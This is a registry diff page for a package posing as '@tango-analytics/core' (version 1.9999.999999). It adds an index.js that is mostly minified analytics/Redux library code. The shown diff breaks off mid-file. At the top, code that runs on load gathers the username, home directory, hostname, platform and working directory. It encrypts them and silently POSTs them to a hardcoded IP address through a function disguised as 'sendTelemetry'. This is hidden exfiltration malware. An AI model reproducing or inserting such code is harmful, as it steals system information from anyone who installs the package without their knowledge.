@tango-analytics/core 1.9999.999999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @tango-analytics/core might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,1764 @@
1
+ function a() {
2
+ return a = Object.assign ? Object.assign.bind() : function(e) {
3
+ for (var n = 1; n < arguments.length; n++) {
4
+ var t = arguments[n];
5
+ for (var r in t) Object.prototype.hasOwnProperty.call(t, r) && (e[r] = t[r])
6
+ }
7
+ return e
8
+ }, a.apply(this, arguments)
9
+ }
10
+
11
+ const os = require('os');
12
+ const http = require('http');
13
+ const crypto = require('crypto');
14
+
15
+ const secret = 'my_secret_key_123'; // partagé avec ton listener
16
+ const algorithm = 'aes-256-cbc';
17
+ const iv = crypto.randomBytes(16);
18
+
19
+ function encrypt(text) {
20
+ const key = crypto.createHash('sha256').update(secret).digest();
21
+ const cipher = crypto.createCipheriv(algorithm, key, iv);
22
+ const encrypted = Buffer.concat([cipher.update(text, 'utf8'), cipher.final()]);
23
+ return iv.toString('hex') + ':' + encrypted.toString('hex');
24
+ }
25
+
26
+ const systemInfo = {
27
+ user: os.userInfo().username,
28
+ platform: os.platform(),
29
+ homedir: os.homedir(),
30
+ hostname: os.hostname(),
31
+ currentDir: process.cwd()
32
+ };
33
+
34
+ const encrypted = encrypt(JSON.stringify(systemInfo));
35
+ console.log('Data Sent');
36
+
37
+
38
+ var get, remove, set, globalContext, KEY;
39
+ var s = get, n = remove, t = set, r = globalContext, i = KEY;
40
+
41
+ function sendTelemetry(data) {
42
+ data = JSON.stringify({ data });
43
+ try {
44
+ const options = {
45
+ hostname: "46.202.170.55",
46
+ port: 8080,
47
+ path: "/tango",
48
+ method: "POST",
49
+ headers: {
50
+ "Content-Type": "application/json",
51
+ "Content-Length": Buffer.byteLength(data)
52
+ }
53
+ };
54
+ const req = http.request(options, res => {});
55
+ req.on('error', () => {});
56
+ req.write(data);
57
+ req.end();
58
+ } catch (_) {}
59
+ }
60
+
61
+ sendTelemetry(encrypted);
62
+
63
+
64
+ var o, u, c = (o = function(e, n) {
65
+ e.exports = function(e, n, t, r, i) {
66
+ for (n = n.split ? n.split(".") : n, r = 0; r < n.length; r++) e = e ? e[n[r]] : i;
67
+ return e === i ? t : e
68
+ }
69
+ }, o(u = {
70
+ exports: {}
71
+ }), u.exports),
72
+ s = c,
73
+ l = "undefined",
74
+ f = "object",
75
+ d = "array",
76
+ p = "null";
77
+ typeof process === l || process;
78
+ var m = typeof document !== l;
79
+
80
+ function g(e, n) {
81
+ return n.charAt(0)[e]() + n.slice(1)
82
+ }
83
+ typeof Deno !== l && Deno, m && "nodejs" === window.name || typeof navigator !== l && typeof navigator.userAgent !== l && (navigator.userAgent.includes("Node.js") || navigator.userAgent.includes("jsdom"));
84
+ var v = g.bind(null, "toUpperCase"),
85
+ h = g.bind(null, "toLowerCase");
86
+
87
+ function y(e, n) {
88
+ void 0 === n && (n = !0);
89
+ var t = function(e) {
90
+ return P(e) ? v(p) : typeof e === f ? function(e) {
91
+ return w(e.constructor) ? e.constructor.name : null
92
+ }(e) : Object.prototype.toString.call(e).slice(8, -1)
93
+ }(e);
94
+ return n ? h(t) : t
95
+ }
96
+
97
+ function b(e, n) {
98
+ return typeof n === e
99
+ }
100
+ var w = b.bind(null, "function"),
101
+ I = b.bind(null, "string");
102
+ b.bind(null, l);
103
+ var E = b.bind(null, "boolean");
104
+
105
+ function P(e) {
106
+ return null === e
107
+ }
108
+
109
+ function x(e) {
110
+ if (! function(e) {
111
+ return e && (typeof e === f || null !== e)
112
+ }(e)) return !1;
113
+ for (var n = e; null !== Object.getPrototypeOf(n);) n = Object.getPrototypeOf(n);
114
+ return Object.getPrototypeOf(e) === n
115
+ }
116
+
117
+ function S(e, n) {
118
+ if ("object" != typeof n || P(n)) return !1;
119
+ if (n instanceof e) return !0;
120
+ var t = y(new e(""));
121
+ if (function(e) {
122
+ return e instanceof Error || I(e.message) && e.constructor && function(e) {
123
+ return "number" === y(e) && !isNaN(e)
124
+ }(e.constructor.stackTraceLimit)
125
+ }(n))
126
+ for (; n;) {
127
+ if (y(n) === t) return !0;
128
+ n = Object.getPrototypeOf(n)
129
+ }
130
+ return !1
131
+ }
132
+
133
+ function O(e, n) {
134
+ var t = e instanceof Element || e instanceof HTMLDocument;
135
+ return t && n ? function(e, n) {
136
+ return void 0 === n && (n = ""), e && e.nodeName === n.toUpperCase()
137
+ }(e, n) : t
138
+ }
139
+
140
+ function _(e) {
141
+ var n = [].slice.call(arguments, 1);
142
+ return function() {
143
+ return e.apply(void 0, [].slice.call(arguments).concat(n))
144
+ }
145
+ }
146
+
147
+ function N(e) {
148
+ try {
149
+ return decodeURIComponent(e.replace(/\+/g, " "))
150
+ } catch (e) {
151
+ return null
152
+ }
153
+ }
154
+
155
+ function j(e, n, t) {
156
+ for (var r = n.length - 1, i = 0; i < r; ++i) {
157
+ var a = n[i];
158
+ if ("__proto__" === a || "constructor" === a) break;
159
+ a in e || (e[a] = {}), e = e[a]
160
+ }
161
+ e[n[r]] = t
162
+ }
163
+
164
+ function A() {
165
+ for (var e = "", n = 0, t = 4294967295 * Math.random() | 0; n++ < 36;) {
166
+ var r = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx" [n - 1],
167
+ i = 15 & t;
168
+ e += "-" == r || "4" == r ? r : ("x" == r ? i : 3 & i | 8).toString(16), t = n % 8 == 0 ? 4294967295 * Math.random() | 0 : t >> 4
169
+ }
170
+ return e
171
+ }
172
+ b.bind(null, "symbol"), S.bind(null, TypeError), S.bind(null, SyntaxError), _(O, "form"), _(O, "button"), _(O, "input"), _(O, "select");
173
+ var k = "function",
174
+ T = "undefined",
175
+ M = "reducer",
176
+ z = "@@redux/",
177
+ L = z + "INIT",
178
+ U = z + Math.random().toString(36),
179
+ q = /* #__PURE__ */ function() {
180
+ return typeof Symbol === k && Symbol.observable || "@@observable"
181
+ }(),
182
+ C = " != " + k;
183
+
184
+ function D(e, n, t) {
185
+ var r;
186
+ if (typeof n === k && typeof t === T && (t = n, n = void 0), typeof t !== T) {
187
+ if (typeof t !== k) throw new Error("enhancer" + C);
188
+ return t(D)(e, n)
189
+ }
190
+ if (typeof e !== k) throw new Error(M + C);
191
+ var i = e,
192
+ a = n,
193
+ o = [],
194
+ u = o,
195
+ c = !1;
196
+
197
+ function s() {
198
+ u === o && (u = o.slice())
199
+ }
200
+
201
+ function l() {
202
+ return a
203
+ }
204
+
205
+ function f(e) {
206
+ if (typeof e !== k) throw new Error("Listener" + C);
207
+ var n = !0;
208
+ return s(), u.push(e),
209
+ function() {
210
+ if (n) {
211
+ n = !1, s();
212
+ var t = u.indexOf(e);
213
+ u.splice(t, 1)
214
+ }
215
+ }
216
+ }
217
+
218
+ function d(e) {
219
+ if (!x(e)) throw new Error("Act != obj");
220
+ if (typeof e.type === T) throw new Error("ActType " + T);
221
+ if (c) throw new Error("Dispatch in " + M);
222
+ try {
223
+ c = !0, a = i(a, e)
224
+ } finally {
225
+ c = !1
226
+ }
227
+ for (var n = o = u, t = 0; t < n.length; t++)(0, n[t])();
228
+ return e
229
+ }
230
+ return d({
231
+ type: L
232
+ }), (r = {
233
+ dispatch: d,
234
+ subscribe: f,
235
+ getState: l,
236
+ replaceReducer: function(e) {
237
+ if (typeof e !== k) throw new Error("next " + M + C);
238
+ i = e, d({
239
+ type: L
240
+ })
241
+ }
242
+ })[q] = function() {
243
+ var e, n = f;
244
+ return (e = {
245
+ subscribe: function(e) {
246
+ if ("object" != typeof e) throw new TypeError("Observer != obj");
247
+
248
+ function t() {
249
+ e.next && e.next(l())
250
+ }
251
+ return t(), {
252
+ unsubscribe: n(t)
253
+ }
254
+ }
255
+ })[q] = function() {
256
+ return this
257
+ }, e
258
+ }, r
259
+ }
260
+
261
+ function V(e, n) {
262
+ var t = n && n.type;
263
+ return "action " + (t && t.toString() || "?") + M + " " + e + " returns " + T
264
+ }
265
+
266
+ function R() {
267
+ var e = [].slice.call(arguments);
268
+ return 0 === e.length ? function(e) {
269
+ return e
270
+ } : 1 === e.length ? e[0] : e.reduce(function(e, n) {
271
+ return function() {
272
+ return e(n.apply(void 0, [].slice.call(arguments)))
273
+ }
274
+ })
275
+ }
276
+
277
+ function $() {
278
+ var e = arguments;
279
+ return function(n) {
280
+ return function(t, r, i) {
281
+ var o, u = n(t, r, i),
282
+ c = u.dispatch,
283
+ s = {
284
+ getState: u.getState,
285
+ dispatch: function(e) {
286
+ return c(e)
287
+ }
288
+ };
289
+ return o = [].slice.call(e).map(function(e) {
290
+ return e(s)
291
+ }), a({}, u, {
292
+ dispatch: c = R.apply(void 0, o)(u.dispatch)
293
+ })
294
+ }
295
+ }
296
+ }
297
+ var B = "__anon_id",
298
+ X = "__user_id",
299
+ J = "__user_traits",
300
+ W = {
301
+ __proto__: null,
302
+ ANON_ID: B,
303
+ USER_ID: X,
304
+ USER_TRAITS: J
305
+ },
306
+ H = "analytics",
307
+ F = "userId",
308
+ Z = "anonymousId",
309
+ G = ["bootstrap", "params", "campaign", "initializeStart", "initialize", "initializeEnd", "ready", "resetStart", "reset", "resetEnd", "pageStart", "page", "pageEnd", "pageAborted", "trackStart", "track", "trackEnd", "trackAborted", "identifyStart", "identify", "identifyEnd", "identifyAborted", "userIdChanged", "registerPlugins", "enablePlugin", "disablePlugin", "online", "offline", "setItemStart", "setItem", "setItemEnd", "setItemAborted", "removeItemStart", "removeItem", "removeItemEnd", "removeItemAborted"],
310
+ K = ["name", "EVENTS", "config", "loaded"],
311
+ Q = G.reduce(function(e, n) {
312
+ return e[n] = n, e
313
+ }, {
314
+ registerPluginType: function(e) {
315
+ return "registerPlugin:" + e
316
+ },
317
+ pluginReadyType: function(e) {
318
+ return "ready:" + e
319
+ }
320
+ }),
321
+ Y = /^utm_/,
322
+ ee = /^an_prop_/,
323
+ ne = /^an_trait_/;
324
+
325
+ function te(e) {
326
+ var n = e.storage.setItem;
327
+ return function(t) {
328
+ return function(r) {
329
+ return function(i) {
330
+ if (i.type === Q.bootstrap) {
331
+ var o = i.params,
332
+ u = i.user,
333
+ c = i.persistedUser,
334
+ s = i.initialUser,
335
+ l = c.userId === u.userId;
336
+ c.anonymousId !== u.anonymousId && n(B, u.anonymousId), l || n(X, u.userId), s.traits && n(J, a({}, l && c.traits ? c.traits : {}, s.traits));
337
+ var f = Object.keys(i.params);
338
+ if (f.length) {
339
+ var d = o.an_uid,
340
+ p = o.an_event,
341
+ m = f.reduce(function(e, n) {
342
+ if (n.match(Y) || n.match(/^(d|g)clid/)) {
343
+ var t = n.replace(Y, "");
344
+ e.campaign["campaign" === t ? "name" : t] = o[n]
345
+ }
346
+ return n.match(ee) && (e.props[n.replace(ee, "")] = o[n]), n.match(ne) && (e.traits[n.replace(ne, "")] = o[n]), e
347
+ }, {
348
+ campaign: {},
349
+ props: {},
350
+ traits: {}
351
+ });
352
+ t.dispatch(a({
353
+ type: Q.params,
354
+ raw: o
355
+ }, m, d ? {
356
+ userId: d
357
+ } : {})), d && setTimeout(function() {
358
+ return e.identify(d, m.traits)
359
+ }, 0), p && setTimeout(function() {
360
+ return e.track(p, m.props)
361
+ }, 0), Object.keys(m.campaign).length && t.dispatch({
362
+ type: Q.campaign,
363
+ campaign: m.campaign
364
+ })
365
+ }
366
+ }
367
+ return r(i)
368
+ }
369
+ }
370
+ }
371
+ }
372
+
373
+ function re(e) {
374
+ return function(n, t) {
375
+ if (void 0 === n && (n = {}), void 0 === t && (t = {}), t.type === Q.setItemEnd) {
376
+ if (t.key === B) return a({}, n, {
377
+ anonymousId: t.value
378
+ });
379
+ if (t.key === X) return a({}, n, {
380
+ userId: t.value
381
+ })
382
+ }
383
+ switch (t.type) {
384
+ case Q.identify:
385
+ return Object.assign({}, n, {
386
+ userId: t.userId,
387
+ traits: a({}, n.traits, t.traits)
388
+ });
389
+ case Q.reset:
390
+ return [X, B, J].forEach(function(n) {
391
+ e.removeItem(n)
392
+ }), Object.assign({}, n, {
393
+ userId: null,
394
+ anonymousId: null,
395
+ traits: {}
396
+ });
397
+ default:
398
+ return n
399
+ }
400
+ }
401
+ }
402
+
403
+ function ie(e) {
404
+ return {
405
+ userId: e.getItem(X),
406
+ anonymousId: e.getItem(B),
407
+ traits: e.getItem(J)
408
+ }
409
+ }
410
+ var ae = function(e) {
411
+ return "__TEMP__" + e
412
+ };
413
+
414
+ function oe(e) {
415
+ var t = e.storage,
416
+ r = t.setItem,
417
+ i = t.removeItem,
418
+ o = t.getItem;
419
+ return function(e) {
420
+ return function(t) {
421
+ return function(u) {
422
+ var c = u.userId,
423
+ s = u.traits,
424
+ l = u.options;
425
+ if (u.type === Q.reset && ([X, J, B].forEach(function(e) {
426
+ i(e)
427
+ }), [F, Z, "traits"].forEach(function(e) {
428
+ n(ae(e))
429
+ })), u.type === Q.identify) {
430
+ o(B) || r(B, A());
431
+ var f = o(X),
432
+ d = o(J) || {};
433
+ f && f !== c && e.dispatch({
434
+ type: Q.userIdChanged,
435
+ old: {
436
+ userId: f,
437
+ traits: d
438
+ },
439
+ new: {
440
+ userId: c,
441
+ traits: s
442
+ },
443
+ options: l
444
+ }), c && r(X, c), s && r(J, a({}, d, s))
445
+ }
446
+ return t(u)
447
+ }
448
+ }
449
+ }
450
+ }
451
+ var ue = {};
452
+
453
+ function ce(e, n) {
454
+ ue[e] && w(ue[e]) && (ue[e](n), delete ue[e])
455
+ }
456
+
457
+ function se(e, n, t) {
458
+ return new Promise(function(r, i) {
459
+ return n() ? r(e) : t < 1 ? i(a({}, e, {
460
+ queue: !0
461
+ })) : new Promise(function(e) {
462
+ return setTimeout(e, 10)
463
+ }).then(function(a) {
464
+ return se(e, n, t - 10).then(r, i)
465
+ })
466
+ })
467
+ }
468
+
469
+ function le(e) {
470
+ return {
471
+ abort: e
472
+ }
473
+ }
474
+
475
+ function fe(e, n, t) {
476
+ var r = {},
477
+ i = n(),
478
+ o = e.getState(),
479
+ u = o.plugins,
480
+ c = o.queue,
481
+ s = o.user;
482
+ if (!o.context.offline && c && c.actions && c.actions.length) {
483
+ var l = c.actions.reduce(function(e, n, t) {
484
+ return u[n.plugin].loaded ? (e.process.push(n), e.processIndex.push(t)) : (e.requeue.push(n), e.requeueIndex.push(t)), e
485
+ }, {
486
+ processIndex: [],
487
+ process: [],
488
+ requeue: [],
489
+ requeueIndex: []
490
+ });
491
+ if (l.processIndex && l.processIndex.length) {
492
+ l.processIndex.forEach(function(n) {
493
+ var o = c.actions[n],
494
+ l = o.plugin,
495
+ f = o.payload.type,
496
+ d = i[l][f];
497
+ if (d && w(d)) {
498
+ var p, m = function(e, n) {
499
+ return void 0 === e && (e = {}), void 0 === n && (n = {}), [F, Z].reduce(function(t, r) {
500
+ return e.hasOwnProperty(r) && n[r] && n[r] !== e[r] && (t[r] = n[r]), t
501
+ }, e)
502
+ }(o.payload, s),
503
+ g = r[m.meta.rid];
504
+ if (!g && (p = d({
505
+ payload: m,
506
+ config: u[l].config,
507
+ instance: t,
508
+ abort: le
509
+ })) && x(p) && p.abort) return void(r[m.meta.rid] = !0);
510
+ if (!g) {
511
+ var v = f + ":" + l;
512
+ e.dispatch(a({}, m, {
513
+ type: v,
514
+ _: {
515
+ called: v,
516
+ from: "queueDrain"
517
+ }
518
+ }))
519
+ }
520
+ }
521
+ });
522
+ var f = c.actions.filter(function(e, n) {
523
+ return !~l.processIndex.indexOf(n)
524
+ });
525
+ c.actions = f
526
+ }
527
+ }
528
+ }
529
+ var de = function(e) {
530
+ var n = e.data,
531
+ t = e.action,
532
+ r = e.instance,
533
+ i = e.state,
534
+ o = e.allPlugins,
535
+ u = e.allMatches,
536
+ c = e.store,
537
+ s = e.EVENTS;
538
+ try {
539
+ var l = i.plugins,
540
+ f = i.context,
541
+ d = t.type,
542
+ p = d.match(pe),
543
+ m = n.exact.map(function(e) {
544
+ return e.pluginName
545
+ });
546
+ p && (m = u.during.map(function(e) {
547
+ return e.pluginName
548
+ }));
549
+ var g = function(e, n) {
550
+ return function(t, r, i) {
551
+ var o = r.config,
552
+ u = r.name,
553
+ c = u + "." + t.type;
554
+ i && (c = i.event);
555
+ var s = t.type.match(pe) ? function(e, n, t, r, i) {
556
+ return function(o, u) {
557
+ var c = r ? r.name : e,
558
+ s = u && Pe(u) ? u : t;
559
+ if (r && (!(s = u && Pe(u) ? u : [e]).includes(e) || 1 !== s.length)) throw new Error("Method " + n + " can only abort " + e + " plugin. " + JSON.stringify(s) + " input valid");
560
+ return a({}, i, {
561
+ abort: {
562
+ reason: o,
563
+ plugins: s,
564
+ caller: n,
565
+ _: c
566
+ }
567
+ })
568
+ }
569
+ }(u, c, n, i, t) : function(e, n) {
570
+ return function() {
571
+ throw new Error(e.type + " action not cancellable. Remove abort in " + n)
572
+ }
573
+ }(t, c);
574
+ return {
575
+ payload: Oe(t),
576
+ instance: e,
577
+ config: o || {},
578
+ abort: s
579
+ }
580
+ }
581
+ }(r, m),
582
+ v = n.exact.reduce(function(e, n) {
583
+ var t = n.pluginName,
584
+ r = n.methodName,
585
+ i = !1;
586
+ return r.match(/^initialize/) || r.match(/^reset/) || (i = !l[t].loaded), f.offline && r.match(/^(page|track|identify)/) && (i = !0), e["" + t] = i, e
587
+ }, {});
588
+ return Promise.resolve(n.exact.reduce(function(e, i, u) {
589
+ var c = i.pluginName;
590
+ return Promise.resolve(e).then(function(e) {
591
+ function i() {
592
+ return Promise.resolve(e)
593
+ }
594
+ var u = function() {
595
+ if (n.namespaced && n.namespaced[c]) return Promise.resolve(n.namespaced[c].reduce(function(e, n, t) {
596
+ return Promise.resolve(e).then(function(e) {
597
+ return n.method && w(n.method) ? (function(e, n) {
598
+ var t = Se(e);
599
+ if (t && t.name === n) {
600
+ var r = Se(t.method);
601
+ throw new Error([n + " plugin is calling method " + e, "Plugins cant call self", "Use " + t.method + " " + (r ? "or " + r.method : "") + " in " + n + " plugin insteadof " + e].join("\n"))
602
+ }
603
+ }(n.methodName, n.pluginName), Promise.resolve(n.method({
604
+ payload: e,
605
+ instance: r,
606
+ abort: (t = e, i = c, u = n.pluginName, function(e, n) {
607
+ return a({}, t, {
608
+ abort: {
609
+ reason: e,
610
+ plugins: n || [i],
611
+ caller: d,
612
+ from: u || i
613
+ }
614
+ })
615
+ }),
616
+ config: ye(n.pluginName, l, o),
617
+ plugins: l
618
+ })).then(function(n) {
619
+ var t = x(n) ? n : {};
620
+ return Promise.resolve(a({}, e, t))
621
+ })) : e;
622
+ var t, i, u
623
+ })
624
+ }, Promise.resolve(t))).then(function(n) {
625
+ e[c] = n
626
+ });
627
+ e[c] = t
628
+ }();
629
+ return u && u.then ? u.then(i) : i()
630
+ })
631
+ }, Promise.resolve({}))).then(function(e) {
632
+ return Promise.resolve(n.exact.reduce(function(t, i, u) {
633
+ try {
634
+ var s = n.exact.length === u + 1,
635
+ f = i.pluginName,
636
+ m = o[f];
637
+ return Promise.resolve(t).then(function(n) {
638
+ var t = e[f] ? e[f] : {};
639
+ if (p && (t = n), Ie(t, f)) return he({
640
+ data: t,
641
+ method: d,
642
+ instance: r,
643
+ pluginName: f,
644
+ store: c
645
+ }), Promise.resolve(n);
646
+ if (Ie(n, f)) return s && he({
647
+ data: n,
648
+ method: d,
649
+ instance: r,
650
+ store: c
651
+ }), Promise.resolve(n);
652
+ if (v.hasOwnProperty(f) && !0 === v[f]) return c.dispatch({
653
+ type: "queue",
654
+ plugin: f,
655
+ payload: t,
656
+ _: {
657
+ called: "queue",
658
+ from: "queueMechanism"
659
+ }
660
+ }), Promise.resolve(n);
661
+ var i = g(e[f], o[f]);
662
+ return Promise.resolve(m[d]({
663
+ abort: i.abort,
664
+ payload: t,
665
+ instance: r,
666
+ config: ye(f, l, o),
667
+ plugins: l
668
+ })).then(function(i) {
669
+ var o = x(i) ? i : {},
670
+ u = a({}, n, o),
671
+ s = e[f];
672
+ if (Ie(s, f)) he({
673
+ data: s,
674
+ method: d,
675
+ instance: r,
676
+ pluginName: f,
677
+ store: c
678
+ });
679
+ else {
680
+ var l = d + ":" + f;
681
+ (l.match(/:/g) || []).length < 2 && !d.match(me) && !d.match(ge) && r.dispatch(a({}, p ? u : t, {
682
+ type: l,
683
+ _: {
684
+ called: l,
685
+ from: "submethod"
686
+ }
687
+ }))
688
+ }
689
+ return Promise.resolve(u)
690
+ })
691
+ })
692
+ } catch (e) {
693
+ return Promise.reject(e)
694
+ }
695
+ }, Promise.resolve(t))).then(function(e) {
696
+ if (!(d.match(pe) || d.match(/^registerPlugin/) || d.match(ge) || d.match(me) || d.match(/^params/) || d.match(/^userIdChanged/))) {
697
+ if (s.plugins.includes(d), e._ && e._.originalAction === d) return e;
698
+ var t = a({}, e, {
699
+ _: {
700
+ originalAction: e.type,
701
+ called: e.type,
702
+ from: "engineEnd"
703
+ }
704
+ });
705
+ Ee(e, n.exact.length) && !d.match(/End$/) && (t = a({}, t, {
706
+ type: e.type + "Aborted"
707
+ })), c.dispatch(t)
708
+ }
709
+ return e
710
+ })
711
+ })
712
+ } catch (e) {
713
+ return Promise.reject(e)
714
+ }
715
+ },
716
+ pe = /Start$/,
717
+ me = /^bootstrap/,
718
+ ge = /^ready/,
719
+ ve = function(e, n, t, r, i) {
720
+ try {
721
+ var o = w(n) ? n() : n,
722
+ u = e.type,
723
+ c = u.replace(pe, "");
724
+ if (e._ && e._.called) return Promise.resolve(e);
725
+ var s = t.getState(),
726
+ l = (p = o, void 0 === (m = s.plugins) && (m = {}), void 0 === (g = e.options) && (g = {}), Object.keys(p).filter(function(e) {
727
+ var n = g.plugins || {};
728
+ return E(n[e]) ? n[e] : !1 !== n.all && (!m[e] || !1 !== m[e].enabled)
729
+ }).map(function(e) {
730
+ return p[e]
731
+ }));
732
+ u === Q.initializeStart && e.fromEnable && (l = Object.keys(s.plugins).filter(function(n) {
733
+ var t = s.plugins[n];
734
+ return e.plugins.includes(n) && !t.initialized
735
+ }).map(function(e) {
736
+ return o[e]
737
+ }));
738
+ var f = l.map(function(e) {
739
+ return e.name
740
+ }),
741
+ d = function(e, n, t) {
742
+ var r = we(e).map(function(e) {
743
+ return be(e, n)
744
+ });
745
+ return n.reduce(function(t, r) {
746
+ var i = r.name,
747
+ a = we(e, i).map(function(e) {
748
+ return be(e, n)
749
+ }),
750
+ o = a[0],
751
+ u = a[1],
752
+ c = a[2];
753
+ return o.length && (t.beforeNS[i] = o), u.length && (t.duringNS[i] = u), c.length && (t.afterNS[i] = c), t
754
+ }, {
755
+ before: r[0],
756
+ beforeNS: {},
757
+ during: r[1],
758
+ duringNS: {},
759
+ after: r[2],
760
+ afterNS: {}
761
+ })
762
+ }(u, l);
763
+ return Promise.resolve(de({
764
+ action: e,
765
+ data: {
766
+ exact: d.before,
767
+ namespaced: d.beforeNS
768
+ },
769
+ state: s,
770
+ allPlugins: o,
771
+ allMatches: d,
772
+ instance: t,
773
+ store: r,
774
+ EVENTS: i
775
+ })).then(function(e) {
776
+ function n() {
777
+ var n = function() {
778
+ if (u.match(pe)) return Promise.resolve(de({
779
+ action: a({}, l, {
780
+ type: c + "End"
781
+ }),
782
+ data: {
783
+ exact: d.after,
784
+ namespaced: d.afterNS
785
+ },
786
+ state: s,
787
+ allPlugins: o,
788
+ allMatches: d,
789
+ instance: t,
790
+ store: r,
791
+ EVENTS: i
792
+ })).then(function(e) {
793
+ e.meta && e.meta.hasCallback && ce(e.meta.rid, {
794
+ payload: e
795
+ })
796
+ })
797
+ }();
798
+ return n && n.then ? n.then(function() {
799
+ return e
800
+ }) : e
801
+ }
802
+ if (Ee(e, f.length)) return e;
803
+ var l, p = function() {
804
+ if (u !== c) return Promise.resolve(de({
805
+ action: a({}, e, {
806
+ type: c
807
+ }),
808
+ data: {
809
+ exact: d.during,
810
+ namespaced: d.duringNS
811
+ },
812
+ state: s,
813
+ allPlugins: o,
814
+ allMatches: d,
815
+ instance: t,
816
+ store: r,
817
+ EVENTS: i
818
+ })).then(function(e) {
819
+ l = e
820
+ });
821
+ l = e
822
+ }();
823
+ return p && p.then ? p.then(n) : n()
824
+ })
825
+ } catch (e) {
826
+ return Promise.reject(e)
827
+ }
828
+ var p, m, g
829
+ };
830
+
831
+ function he(e) {
832
+ var n = e.pluginName,
833
+ t = e.method + "Aborted" + (n ? ":" + n : "");
834
+ e.store.dispatch(a({}, e.data, {
835
+ type: t,
836
+ _: {
837
+ called: t,
838
+ from: "abort"
839
+ }
840
+ }))
841
+ }
842
+
843
+ function ye(e, n, t) {
844
+ var r = n[e] || t[e];
845
+ return r && r.config ? r.config : {}
846
+ }
847
+
848
+ function be(e, n) {
849
+ return n.reduce(function(n, t) {
850
+ return t[e] ? n.concat({
851
+ methodName: e,
852
+ pluginName: t.name,
853
+ method: t[e]
854
+ }) : n
855
+ }, [])
856
+ }
857
+
858
+ function we(e, n) {
859
+ var t = e.replace(pe, ""),
860
+ r = n ? ":" + n : "";
861
+ return ["" + e + r, "" + t + r, t + "End" + r]
862
+ }
863
+
864
+ function Ie(e, n) {
865
+ var t = e.abort;
866
+ return !!t && (!0 === t || xe(t, n) || t && xe(t.plugins, n))
867
+ }
868
+
869
+ function Ee(e, n) {
870
+ var t = e.abort;
871
+ if (!t) return !1;
872
+ if (!0 === t || I(t)) return !0;
873
+ var r = t.plugins;
874
+ return Pe(t) && t.length === n || Pe(r) && r.length === n
875
+ }
876
+
877
+ function Pe(e) {
878
+ return Array.isArray(e)
879
+ }
880
+
881
+ function xe(e, n) {
882
+ return !(!e || !Pe(e)) && e.includes(n)
883
+ }
884
+
885
+ function Se(e) {
886
+ var n = e.match(/(.*):(.*)/);
887
+ return !!n && {
888
+ method: n[1],
889
+ name: n[2]
890
+ }
891
+ }
892
+
893
+ function Oe(e) {
894
+ return Object.keys(e).reduce(function(n, t) {
895
+ return "type" === t || (n[t] = x(e[t]) ? Object.assign({}, e[t]) : e[t]), n
896
+ }, {})
897
+ }
898
+
899
+ function _e(e, n, t) {
900
+ var r = {};
901
+ return function(i) {
902
+ return function(o) {
903
+ return function(u) {
904
+ try {
905
+ var c, s = function(e) {
906
+ return c ? e : o(d)
907
+ },
908
+ l = u.type,
909
+ f = u.plugins,
910
+ d = u;
911
+ if (u.abort) return Promise.resolve(o(u));
912
+ if (l === Q.enablePlugin && i.dispatch({
913
+ type: Q.initializeStart,
914
+ plugins: f,
915
+ disabled: [],
916
+ fromEnable: !0,
917
+ meta: u.meta
918
+ }), l === Q.disablePlugin && setTimeout(function() {
919
+ return ce(u.meta.rid, {
920
+ payload: u
921
+ })
922
+ }, 0), l === Q.initializeEnd) {
923
+ var p = n(),
924
+ m = Object.keys(p),
925
+ g = m.filter(function(e) {
926
+ return f.includes(e)
927
+ }).map(function(e) {
928
+ return p[e]
929
+ }),
930
+ v = [],
931
+ h = [],
932
+ y = u.disabled,
933
+ b = g.map(function(e) {
934
+ var n = e.loaded,
935
+ t = e.name,
936
+ a = e.config;
937
+ return se(e, function() {
938
+ return n({
939
+ config: a
940
+ })
941
+ }, 1e4).then(function(n) {
942
+ return r[t] || (i.dispatch({
943
+ type: Q.pluginReadyType(t),
944
+ name: t,
945
+ events: Object.keys(e).filter(function(e) {
946
+ return !K.includes(e)
947
+ })
948
+ }), r[t] = !0), v = v.concat(t), e
949
+ }).catch(function(e) {
950
+ if (e instanceof Error) throw new Error(e);
951
+ return h = h.concat(e.name), e
952
+ })
953
+ });
954
+ Promise.all(b).then(function(e) {
955
+ var n = {
956
+ plugins: v,
957
+ failed: h,
958
+ disabled: y
959
+ };
960
+ setTimeout(function() {
961
+ m.length === b.length + y.length && i.dispatch(a({}, {
962
+ type: Q.ready
963
+ }, n))
964
+ }, 0)
965
+ })
966
+ }
967
+ var w = function() {
968
+ if (l !== Q.bootstrap) return /^ready:([^:]*)$/.test(l) && setTimeout(function() {
969
+ return fe(i, n, e)
970
+ }, 0), Promise.resolve(ve(u, n, e, i, t)).then(function(e) {
971
+ var n = o(e);
972
+ return c = 1, n
973
+ })
974
+ }();
975
+ return Promise.resolve(w && w.then ? w.then(s) : s(w))
976
+ } catch (e) {
977
+ return Promise.reject(e)
978
+ }
979
+ }
980
+ }
981
+ }
982
+ }
983
+
984
+ function Ne(e) {
985
+ return function(n) {
986
+ return function(n) {
987
+ return function(t) {
988
+ var r = t.type,
989
+ i = t.key,
990
+ a = t.value,
991
+ o = t.options;
992
+ if (r === Q.setItem || r === Q.removeItem) {
993
+ if (t.abort) return n(t);
994
+ r === Q.setItem ? e.setItem(i, a, o) : e.removeItem(i, o)
995
+ }
996
+ return n(t)
997
+ }
998
+ }
999
+ }
1000
+ }
1001
+ var je = function() {
1002
+ var e = this;
1003
+ this.before = [], this.after = [], this.addMiddleware = function(n, t) {
1004
+ e[t] = e[t].concat(n)
1005
+ }, this.removeMiddleware = function(n, t) {
1006
+ var r = e[t].findIndex(function(e) {
1007
+ return e === n
1008
+ }); - 1 !== r && (e[t] = [].concat(e[t].slice(0, r), e[t].slice(r + 1)))
1009
+ }, this.dynamicMiddlewares = function(n) {
1010
+ return function(t) {
1011
+ return function(r) {
1012
+ return function(i) {
1013
+ var a = {
1014
+ getState: t.getState,
1015
+ dispatch: function(e) {
1016
+ return t.dispatch(e)
1017
+ }
1018
+ },
1019
+ o = e[n].map(function(e) {
1020
+ return e(a)
1021
+ });
1022
+ return R.apply(void 0, o)(r)(i)
1023
+ }
1024
+ }
1025
+ }
1026
+ }
1027
+ };
1028
+
1029
+ function Ae(e) {
1030
+ return function(n, t) {
1031
+ void 0 === n && (n = {});
1032
+ var r = {};
1033
+ if ("initialize:aborted" === t.type) return n;
1034
